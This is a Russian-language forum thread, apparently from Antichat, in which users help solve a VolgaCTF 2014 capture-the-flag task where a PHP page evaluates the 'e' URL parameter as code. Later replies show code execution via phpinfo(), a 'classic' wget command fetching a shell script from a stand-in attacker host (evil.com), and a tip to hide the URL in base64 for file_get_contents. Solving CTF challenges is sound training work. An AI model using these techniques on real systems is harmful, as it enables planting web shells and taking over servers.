Помогите с поиском флага

[markelpkr]

Добрый день античатовцы, помогите пожалуйста найти флаг)

http://tasks.2014.volgactf.ru:28103/

[fl00der]

Какая-то ссылка подозрительная. Не пойду.

[Toxa33rus]

Какая-то ссылка подозрительная. Не пойду.


Там открывается вот это:

Notice: Undefined index: e in /var/www/index.php on line 3

Куда е дели? Третья строка негодует)

[markelpkr]

есть подсказка /?e=echo pi

[Fepsis]

есть подсказка /?e=echo pi



e=echo pi - выводит результат функции pi()

http://www.php.su/functions/?pi

соответственно e=echo functionname выведет результат functionname()

например http://tasks.2014.volgactf.ru:28103/?e=echo+phpinfo;

На этом мои знания заканчиваются, да и не честно так ))

[Unknown]

У тебя на прямую выполняется:

_ttp://tasks.2014.volgactf.ru:28103/?e=phpinfo();

классика же:


wget -o test.php http://evil.com/sh.txt

[-=Cerberus=-]

или этой функцией http://www.php.net/manual/ru/function.file-get-contents.php

при необходимости урл можно закодировать в базу64 и дергать в file_get_contents через base64_decode